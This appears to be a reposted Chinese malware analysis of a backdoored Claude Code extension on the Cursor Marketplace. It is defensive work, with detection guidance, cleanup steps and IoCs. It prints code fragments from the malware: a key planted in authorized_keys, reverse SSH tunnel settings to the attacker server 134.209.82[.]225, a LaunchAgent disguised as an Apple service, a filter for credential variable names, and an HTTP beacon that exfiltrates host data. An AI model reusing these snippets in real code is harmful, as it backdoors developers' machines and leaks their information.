夜雨聆风学习资料网

ARTICLE · 1287385

Claude Code官方插件被投毒,打开就已中招

Claude Code官方插件被投毒,打开就已中招

Phorion 发现,Cursor Marketplace 上的官方 Claude Code for VS Code 扩展遭篡改:被植入后门的扩展包中包含一枚可持续存活的 SSH 后门。Cursor 已从市场下架受影响版本 2.1.312 与 2.1.313。

虽然这套恶意载荷同时具备 macOS、Linux 与 Windows 的部署和持久化逻辑,但本文主要聚焦 macOS,并顺带指出其他平台的关键差异与若干实现层面的 bug。

Cursor Marketplace 为 Cursor 编辑器提供扩展。由于扩展以 IDE 及其运行用户的权限执行,一旦模块被加载,被植入后门的扩展就能立即访问本地文件、源码与开发者工具链。

值得特别注意的是,Phorion 发现该恶意软件在尝试启用 SSH 时存在一个明显的“翻车”疏忽:它的初始化逻辑假设自己可以在无 root 权限的情况下检查当前“远程登录”状态。当以普通用户运行时,systemsetup -getremotelogin 会打印一条需要管理员权限的错误,并以状态码 0 退出,而不是返回 Off。由于脚本只在输出匹配 Off 时才尝试启用 SSH,它干脆跳过了启用步骤。在一台原本没开 SSH 的 Mac 上,这个错误直接把“外部连入”的通路打断——即便 SSH 密钥和持久化已经落地。

本文将拆解这枚后门的工作原理、macOS 检查为何失效,以及你在终端环境中该盯什么。攻击载荷的目标是长期交互式访问;虽然 SSH 后门的 bug 降低了 macOS 上的实际危害,但它依然会安装持久化、回传主机侦察信标,是实打实的高危威胁。


感染链

被篡改的 Cursor Marketplace 扩展

被篡改的 extension.js 文件开头,有一段被注入的立即执行函数表达式(IIFE),拼接在压缩后的扩展包最前面。包体其余部分看起来像正常扩展:包含 Claude Code 与 VS Code 字符串、标准的 activate / deactivate 导出,以及 UI 代码。

这段注入前缀引入了 Node.js 标准模块(child_process、fs、os、path、http、crypto),并在 Node 加载该文件时立即执行——甚至早于扩展正常的 activate 回调。用户完全不需要与扩展交互, payload 就会触发。

第一阶段:准备 SSH 访问

首先,payload 确保 ~/.ssh 目录存在,并将攻击者控制的 Ed25519 公钥追加进 ~/.ssh/authorized_keys,目录权限设为 0700,文件权限设为 0600。

该密钥的注释字段为 svc-telemetry。追加前,脚本检查的是文件里是否已有 svc-telemetry 这个注释,而不是比对完整密钥内容。排查时,建议核对公钥指纹,别只依赖注释字符串。

●●●
var sd = path.join(HOME,".ssh"),    ak = path.join(sd,"authorized_keys");// ...if(cur.indexOf("svc-telemetry")<0){  fs.appendFileSync(ak,PUB+"\n");  d.sshKey="added"}else{  d.sshKey="present"}

只要密钥就位,持有对应私钥的人就能以该用户身份认证——前提是 SSH 真的在跑。接下来脚本尝试确保本机 SSH 守护进程已启用并监听:

  • Linux:
     通过 systemctl 启用并启动 sshd / ssh,失败则回退到 service 与 /etc/init.d/。
  • macOS:
     检查“远程登录”,若返回 Off,尝试用 sudo -n systemsetup -setremotelogin on 启用。
  • Windows:
     用 PowerShell 安装并启动 OpenSSH Server。

以上步骤都不含提权漏洞。非交互式 sudo -n 在用户没有缓存/配置免密 sudo 时会失败,因此从普通用户上下文启动系统服务未必成功。

Windows 分支似乎也有自己的 bug:它把 PowerShell 服务安装命令塞进一个硬编码 /bin/sh 的辅助函数 det()——在标准 Windows 环境里基本走不动。

macOS SSH 逻辑里的 bug?

在 macOS 上,脚本可能还没走到 sudo 就先栽跟头。它不带提权运行 systemsetup -getremotelogin,并把输出拿去匹配 /Off/i,只有输出包含 Off 才尝试启用远程登录:

●●●
// ...elseif(PLAT==="darwin"){var rl =ex("systemsetup -getremotelogin 2>/dev/null",4000);  d.remoteLogin= rl;if(/Off/i.test(rl)){det("sudo -n systemsetup -setremotelogin on >/dev/null 2>&1");    d.remoteLoginOn="tried"}}

注意第二条命令(-setremotelogin on)用了 sudo -n,第一条(-getremotelogin)却没有。当普通用户在 macOS 上运行 systemsetup -getremotelogin,实际得到的是:

●●●
You need administrator access to run this tool... exiting!

systemsetup 在没有管理员权限时拒绝读取设置,把错误打到 stdout,并以状态码 0 退出。恶意软件的 ex() 辅助函数只取 stdout 并返回:

●●●
functionex(c, t){try{return cp.execSync(c,{timeout: t ||3000,stdio:["ignore","pipe","ignore"],windowsHide:true}).toString().trim()}catch(e){return""}}

因为输出是 "You need administrator access to run this tool... exiting!",/Off/i.test(rl) 结果为 false。

于是脚本跳过 if 块,永远不执行 sudo -n systemsetup -setremotelogin on。它实质上把“我没权限检查 SSH 是否关闭”误判成了“SSH 已经开着”——这也解释了为什么以普通用户运行扩展时,进程遥测里根本看不到启用动作。

这个 bug 会打断访问链的最后一环。 如果这台 Mac 原本没开远程登录,外向隧道能连上攻击者服务器,但通过隧道转发回来的流量会撞上本机 22 端口的“关门”。

当然,不能把这当防御手段。如果用户本来就开了远程登录,或者之后手动打开,后门依旧随时待命。

第二阶段:建立反向 SSH 隧道

接着,脚本向外连到 134.209.82[.]225 的 22 端口,以 tunnel 用户建立出站 SSH 连接。为向攻击者服务器认证,它会解码另一把内嵌私钥:一把未加密的 OpenSSH Ed25519 密钥,注释为 svc-telemetry-tun。

调查时要把两把密钥分清:

  • 写入 ~/.ssh/authorized_keys 的公钥(svc-telemetry):让攻击者登录受害者机器。
  • 内嵌的私钥(svc-telemetry-tun):让受害者机器外连攻击者的隧道服务器。

脚本把这把隧道私钥写到系统临时目录,文件名以 .stk_ 开头,后面接主机名+家目录路径的 MD5 前 10 位:

●●●
var kf = path.join(TMP,".stk_"+ crypto.createHash("md5").update(String(os.hostname())+HOME).digest("hex").slice(0,10));// ...varRF=(PLAT==="win32")?"\"*:0:localhost:22\"":"'*:0:localhost:22'";

隧道使用 -R *:0:localhost:22 做远端端口转发。传 0 是让攻击者 SSH 服务器动态分配监听端口,把打进来的流量经隧道转回受害者本机的 localhost:22:

●●●
受害主机 -- 出站 SSH 隧道 --> 外部 SSH 服务器操作者 -- 另开连接 --> 服务器分配端口                            |                    穿过已有隧道                            |                            v                  受害主机 SSH:22                            |              用种下的密钥登录

隧道带 -N,只维持端口转发,不在远端执行命令。操作者要访问机器时,通过服务器上分配的端口再开一条 SSH 会话,用第一阶段种下的密钥对接受害者本地 SSH 守护进程,从而获得完整交互式 shell 与文件传输能力,JS 本身无需自定义 C2 指令逻辑。

SSH 命令还带了一堆“安静非交互”参数:禁用主机密钥检查、忽略 known_hosts、BatchMode 与 IdentitiesOnly 开启、保活 30 秒(ServerAliveCountMax=3)、ExitOnForwardFailure 开启。

如果装了 autossh 就用它,否则回退普通 ssh。连接被包在一个脱离父进程的重试循环里,每次间隔睡 60 秒,Unix 上用 pgrep 避免重复建隧道。因为循环是 detached,就算用户关掉 IDE,隧道依然活着。

第三阶段:保住访问权

为熬过重启,脚本在各平台布置对应持久化,与初始 detached 隧道并列:

平台
落盘文件
持久化机制
备注
Linux
~/.config/.smt
、~/.config/.smtk
写 shell 脚本重建隧道密钥并循环连 SSH,再往用户 crontab 加 @reboot 项
crontab 检查有 bug,重复运行可能清掉已有用户定时任务(见下)
macOS
~/.config/.smt
、~/.config/.smtk、~/Library/LaunchAgents/com.apple.sysmond.plist
写用户 LaunchAgent,以 RunAtLoad+KeepAlive=true 跑 /bin/sh ~/.config/.smt,再 launchctl load
跑在用户上下文,不是 root LaunchDaemon
Windows
~/.config/smt.cmd
、~/.config/smtk、%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd
尝试建名为 SysMon、以 SYSTEM 启动的的计划任务;失败则丢 sysmon.cmd 进启动文件夹
SYSTEM
 任务要管理员权限;启动文件夹回退以用户身份登录运行

macOS / Linux 上,~/.config/.smt 里内嵌隧道私钥,重连前先写出到 ~/.config/.smtk。

macOS 的 LaunchAgent 伪装成 com.apple.sysmond.plist,藏在 ~/Library/LaunchAgents/:

●●●
<key>Label</key><string>com.apple.sysmond</string><!-- ... --><key>RunAtLoad</key><true/><key>KeepAlive</key><true/>

第四阶段:主机侦察

最后,脚本收集基础主机情报,向攻击者服务器发一次性信标:

  • 主机名、用户名、操作系统平台、架构
  • 家目录、当前工作目录、全局 Git 邮箱(git config --global user.email)
  • 公网 IP,以及各阶段状态标志(如密钥是否写入、用了哪种持久化)
  • 最多 40 个匹配 /KEY|TOKEN|SECRET|PASS|AWS|GCP/i 的环境变量名(不取值)

环境变量检查用 Object.keys(process.env):

●●●
Object.keys(process.env).filter(function(k){return/KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k)}).slice(0,40)

只取变量名,不回传秘密值。作用是给操作者一份“这台机器上有哪些云凭证 / API token”的速查清单,用来挑重点机器打。

公网 IP 通过 ifconfig[.]me 获取,失败回退 api[.]ipify[.]org。

随后用明文 HTTP POST 把 JSON 报告发到 134.209.82[.]225:8099 与 127.0.0.1:8099 的 /beacon:

●●●
var r = http.request({host: h,port: p,path:"/beacon",method:"POST",timeout:3000,headers:{"content-type":"application/json"}},function(res){  res.resume()});// ...r.write(JSON.stringify(d));r.end()

为什么还往 127.0.0.1:8099 发一份,样本里看不出名堂——脚本本身没在本地起监听。

信标用 setTimeout 调度一次(初始部署后 1.5 秒),res.resume() 丢弃响应。它只是打卡报平安,真正访问靠 SSH 隧道。


检测线索

从检测视角看,这条链在 macOS 上靠 ESF(Endpoint Security Framework)遥测能揪出好几处异常。

SSH 密钥与配置变更

恶意软件直接用 Node 的 fs.appendFileSync 追写 ~/.ssh/authorized_keys,只盯 echo / tee 这类 shell 命令的进程规则会漏。这里必须靠文件修改遥测:看 IDE 辅助进程(Code Helper、Cursor Helper 等)是否创建/写入 authorized_keys。

即便 IDE 主程序签名合法,它的扩展宿主进程也没理由在后台改 SSH 认证文件。

同时也要监控 systemsetup -setremotelogin on,但别把它当必要告警条件——上面说过,macOS 的状态检查是坏的,这条命令经常根本不会跑。

用户 LaunchAgent 持久化

macOS 持久化给了一组强信号:

  • 非 Apple 进程写出带 com.apple.* 标签的 plist(~/Library/LaunchAgents/com.apple.sysmond.plist)
  • LaunchAgent 配置为对家目录隐藏脚本(~/.config/.smt)执行 /bin/sh

由于初始隧道是 detached 进程,后续由 launchd 直接管 .smt,活进程树里 ssh 的直亲不再是 IDE。把 .smt 与 com.apple.sysmond.plist 的文件创建事件关联回 IDE 扩展宿主,更容易拼出整条链。

SSH 隧道与后续访问

进程与网络侧盯这些:

  • ssh
     / autossh 带远端端口转发(-R *:0:localhost:22),身份文件来自 /tmp/.stk_* 或 ~/.config/.smtk
  • 出站连 134.209.82[.]225:22,同时向 134.209.82[.]225:8099 发 HTTP POST(以及连 127.0.0.1:8099 的尝试)

如果发现某台机器跑过该扩展,重点是判断隧道只是建起来,还是操作者真的登进来了。因为入站会话走本地端口转发,SSH 日志里成功登录会显示来自 localhost(127.0.0.1 / ::1),并用 svc-telemetry 密钥认证。

处置建议

找到受影响机器,只卸载扩展清不掉后门。响应要覆盖所有落盘阶段:

  1. 杀掉活跃隧道进程
    :终止 /bin/sh 重试循环,以及任何连向 134.209.82[.]225 的 ssh / autossh。
  2. 清持久化
    :macOS 卸载并删 ~/Library/LaunchAgents/com.apple.sysmond.plist(Linux 清 @reboot cron / Windows 清 SysMon 计划任务与启动脚本),同时删 ~/.config/.smt 和 ~/.config/.smtk。
  3. 清 SSH 密钥与状态
    :从 authorized_keys 移除 svc-telemetry 公钥,删 /tmp/.stk_*,确认远程登录(SSH)没有被意外打开。
  4. 轮转凭证
    :如果主机开过 SSH,或有任何入站登录痕迹,轮转该用户可访问的所有凭证 / token(尤其命中 KEY|TOKEN|SECRET|PASS|AWS|GCP 过滤规则的那些)。

Phorion 的应对思路

Phorion 开箱检测规则在多条规定中覆盖本次 macOS 持久化行为,包括非 Apple 进程创建 com.apple.* LaunchAgent、LaunchAgent 执行隐藏目录 shell 脚本等。

除持久化外,Phorion 文件访问遥测能捕获 IDE 扩展宿主直接改 ~/.ssh/authorized_keys 的行为;借助 Phorion Protections,还可预先锁死 ~/.ssh/,只允许授权进程读写 SSH 密钥与配置文件。


indicators(IoC)

样本与公钥指纹

指标
值
说明
SHA-256
ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15
被植入后门的 extension.js 包
受害者登录公钥指纹
SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk
写入 authorized_keys 的 Ed25519 密钥(注释 svc-telemetry)
隧道公钥指纹
SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ
内嵌用于连隧道服务器的 Ed25519 密钥(注释 svc-telemetry-tun)

网络指标

指标
类型
说明
134.209.82[.]225
(TCP 22,用户 tunnel)
IP / SSH
反向 SSH 隧道服务器
134.209.82[.]225:8099
(POST /beacon)
IP / HTTP
主机信标外传端点
127.0.0.1:8099
(POST /beacon)
回环 / HTTP
本地信标目标
ifconfig[.]me
、api[.]ipify[.]org
域名
查询公网 IP 的合法服务

主机痕迹

痕迹
平台
说明
~/.<ide>/extensions/anthropic.claude-code-2.1.312-darwin-arm64
macOS(Apple Silicon)
Cursor 安全公告中确认的受影响版本(<ide> 随编辑器变)
~/.<ide>/extensions/anthropic.claude-code-2.1.313-darwin-arm64
macOS(Apple Silicon)
已安装扩展目录
~/.ssh/authorized_keys
(注释 svc-telemetry)
全平台
被种下的 Ed25519 公钥
<TMP>/.stk_<10 hex>
(macOS 上即 $TMPDIR/.stk_*)
全平台
临时目录里的隧道私钥(后缀为 MD5(hostname+HOME) 前 10 位)
~/.config/.smt
、~/.config/.smtk
macOS / Linux
持久化脚本与重建的隧道私钥
~/Library/LaunchAgents/com.apple.sysmond.plist
macOS
执行 /bin/sh ~/.config/.smt 的用户 LaunchAgent
@reboot
 cron 项(指向 ~/.config/.smt)
Linux
用户定时任务持久化
~/.config/smt.cmd
、~/.config/smtk
Windows
持久化批处理与隧道私钥
计划任务 SysMon
Windows
开机计划任务(请求 SYSTEM)
%APPDATA%/Microsoft/Windows/Start Menu/Programs/Startup/sysmon.cmd
Windows
启动文件夹回退脚本

回首页,搜索你想要的文档

在首页搜索框输入关键词,快速定位资料

文库首页搜索指引 立即搜索

相关学习资料